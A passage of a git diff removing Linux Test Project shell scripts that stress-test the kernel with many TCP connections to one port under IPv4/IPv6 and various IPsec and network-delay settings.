-ns-tcpserver -b -c -f $IP_VER -o $info_file -p $server_port -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run tcp traffic server." - rm -f $info_file - exit 1 -fi - -while true ; do - if [ -s $info_file ]; then - break - fi -done - -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Making connections -connection_num=0 -while [ $connection_num -lt $CONNECTION_TOTAL ]; do - # Run a client - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-tcpclient -b -f $IP_VER -S $lhost_addr -p $server_port' ; echo $?'` - if [ $ret -ne 0 ]; then - # Failed to start any client - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run any client" - exit 1 - fi - # Failed to start a client - tst_resm TINFO "$connection_num seems the maximum number of the client" - break - fi - connection_num=`expr $connection_num + 1` -done - -# Watch the TCP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - killall -SIGHUP ns-tcpserver - break - else - ps auxw | fgrep ns-tcpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "tcp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02 deleted file mode 100644 index cd035bea..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03 deleted file mode 100644 index b5acaae6..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04 deleted file mode 100644 index 7299ec34..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05 deleted file mode 100644 index 3086d359..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06 deleted file mode 100644 index ba99b688..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport06 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07 deleted file mode 100644 index df87c847..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport07 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08 deleted file mode 100644 index 9b015e22..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09 deleted file mode 100644 index bf33f18b..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10 deleted file mode 100644 index 8282987e..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11 deleted file mode 100644 index b250a85c..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12 deleted file mode 100644 index 39df16f9..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13 deleted file mode 100644 index e5a4ae35..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14 deleted file mode 100644 index a38df9af..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-sameport14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv4 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp4-multi-sameport14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01 deleted file mode 100644 index eb7ea322..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport01 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02 deleted file mode 100644 index c87cf59a..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-sameport02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# same port with the following condition: -# - The version of IP is IPv6 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-sameport testcase -# - -# The test case ID -TCID=tcp6-multi-sameport02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-sameport01 diff --git a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03 b/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03 deleted file mode 100644 index 90adb2bc..00000000 --- a/ltp/testcases/network/stress/tcp/multi-sameport/tcp6-multi-sameport03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## 